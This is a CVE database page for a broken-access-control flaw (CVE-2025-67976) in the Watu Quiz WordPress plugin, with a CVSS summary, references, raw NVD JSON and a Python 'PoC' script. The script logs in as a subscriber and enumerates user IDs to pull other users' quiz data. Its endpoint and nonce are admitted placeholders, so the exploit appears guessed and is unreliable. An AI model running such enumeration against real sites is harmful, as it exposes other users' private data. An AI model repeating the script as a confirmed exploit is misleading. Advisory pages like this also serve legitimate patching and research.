CVE-2025-67976

Description

Missing Authorization vulnerability in Bob Watu Quiz watu allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Watu Quiz: from n/a through <= 3.4.5.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Watu Quiz WordPress插件 <= 3.4.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-67976 PoC - Watu Quiz Broken Access Control
import requests
import sys

target_url = "http://target-wordpress-site.com"
# Replace with actual endpoint discovered through enumeration
api_endpoint = f"{target_url}/wp-json/watu/v1/user-results"

# Authenticated session with low-privilege user (subscriber role)
session = requests.Session()

# Login with low-privilege account
login_data = {
    "log": "attacker_username",
    "pwd": "attacker_password"
}
login_url = f"{target_url}/wp-login.php"
session.post(login_url, data=login_data)

# Exploit: Manipulate user_id parameter to access other users' data
# Try different user IDs to enumerate sensitive information
for target_user_id in range(1, 100):
    exploit_params = {
        "user_id": target_user_id,
        "_wpnonce": "discovered_nonce_value"  # May need to extract from page
    }
    
    response = session.get(api_endpoint, params=exploit_params)
    
    if response.status_code == 200:
        data = response.json()
        print(f"[!] Successfully accessed data for user_id: {target_user_id}")
        print(f"Data: {data}")
        
        # Extract sensitive information
        if "results" in data:
            for result in data["results"]:
                print(f"Quiz: {result.get('quiz_name')}, Score: {result.get('score')}")

print("\n[*] Vulnerability confirmed: Low-privilege user can access other users' data")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67976
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67976
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67976/
[4] VulDB https://vuldb.com/cve/CVE-2025-67976
[5] https://patchstack.com/database/Wordpress/Plugin/watu/vulnerability/wordpress-watu-quiz-plugin-3-4-5-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67976", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:00.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Bob Watu Quiz watu allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Watu Quiz: from n/a through <= 3.4.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/watu/vulnerability/wordpress-watu-quiz-plugin-3-4-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}